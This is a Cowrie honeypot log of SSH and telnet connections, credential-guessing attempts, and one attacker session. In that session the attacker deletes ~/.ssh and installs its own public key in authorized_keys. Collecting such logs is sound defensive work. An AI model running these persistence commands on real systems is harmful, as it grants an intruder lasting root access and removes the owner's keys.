{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:17.267069Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:17.359282Z","src_ip":"103.134.154.36","session":"a1f7297dd309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:17.497645Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:17.878646Z","src_ip":"49.49.239.64","session":"d8b747d914f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:18.410089Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:18.904461Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:18.907126Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:18.910546Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:19.142795Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:19.635321Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:19.638820Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:19.872690Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:19.876273Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":9616,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ded2a8ce426","protocol":"ssh","message":"New connection: 68.233.116.124:9616 (159.203.135.109:22) [session: 9ded2a8ce426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:20.102301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:20.106174Z","src_ip":"68.233.116.124","session":"9ded2a8ce426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:20.336863Z","src_ip":"68.233.116.124","session":"9ded2a8ce426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":34880,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5b654d95f0","protocol":"ssh","message":"New connection: 68.183.236.1:34880 (159.203.135.109:22) [session: 3c5b654d95f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:21.003643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:21.009723Z","src_ip":"68.183.236.1","session":"3c5b654d95f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:21.247503Z","src_ip":"68.183.236.1","session":"3c5b654d95f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:21.294070Z","src_ip":"68.233.116.124","session":"9ded2a8ce426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"builder","password":"builder1234","message":"login attempt [builder/builder1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:22.229348Z","src_ip":"68.183.236.1","session":"3c5b654d95f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:22.526985Z","src_ip":"68.233.116.124","session":"9ded2a8ce426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":10530,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fa36d5a8f2d","protocol":"ssh","message":"New connection: 68.233.116.124:10530 (159.203.135.109:22) [session: 5fa36d5a8f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:22.720048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:22.724468Z","src_ip":"68.233.116.124","session":"5fa36d5a8f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:22.936061Z","src_ip":"68.233.116.124","session":"5fa36d5a8f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:23.469731Z","src_ip":"68.183.236.1","session":"3c5b654d95f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:23.809768Z","src_ip":"68.233.116.124","session":"5fa36d5a8f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:24.021779Z","src_ip":"68.233.116.124","session":"5fa36d5a8f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:24.034172Z","src_ip":"68.233.116.124","session":"3370e80d0989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":50384,"dst_ip":"159.203.135.109","dst_port":22,"session":"0afceda1f308","protocol":"ssh","message":"New connection: 136.248.247.188:50384 (159.203.135.109:22) [session: 0afceda1f308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:28.341547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:28.345777Z","src_ip":"136.248.247.188","session":"0afceda1f308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:28.477087Z","src_ip":"136.248.247.188","session":"0afceda1f308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123456","message":"login attempt [erp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:29.033522Z","src_ip":"136.248.247.188","session":"0afceda1f308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:30.166562Z","src_ip":"136.248.247.188","session":"0afceda1f308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":35134,"dst_ip":"159.203.135.109","dst_port":22,"session":"857a3d44360b","protocol":"ssh","message":"New connection: 138.99.80.102:35134 (159.203.135.109:22) [session: 857a3d44360b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:22.702666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:22.707951Z","src_ip":"138.99.80.102","session":"857a3d44360b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:22.813786Z","src_ip":"138.99.80.102","session":"857a3d44360b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123456","message":"login attempt [erp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:23.270185Z","src_ip":"138.99.80.102","session":"857a3d44360b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.218.201.19","src_port":3562,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce356594b697","protocol":"telnet","message":"New connection: 196.218.201.19:3562 (159.203.135.109:23) [session: ce356594b697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:23.900032Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:24.378099Z","src_ip":"138.99.80.102","session":"857a3d44360b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":36532,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8e127c7f005","protocol":"ssh","message":"New connection: 163.7.6.74:36532 (10.17.0.5:22) [session: e8e127c7f005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:32.602923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:32.609659Z","src_ip":"163.7.6.74","session":"e8e127c7f005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:32.865386Z","src_ip":"163.7.6.74","session":"e8e127c7f005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"Nextcloud","message":"login attempt [nextcloud/Nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:33.921835Z","src_ip":"163.7.6.74","session":"e8e127c7f005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:35.181448Z","src_ip":"163.7.6.74","session":"e8e127c7f005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":59464,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4ce4b59032","protocol":"ssh","message":"New connection: 93.71.118.99:59464 (159.203.135.109:22) [session: 6f4ce4b59032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:37.168835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:37.173403Z","src_ip":"93.71.118.99","session":"6f4ce4b59032","protocol":"ssh"}
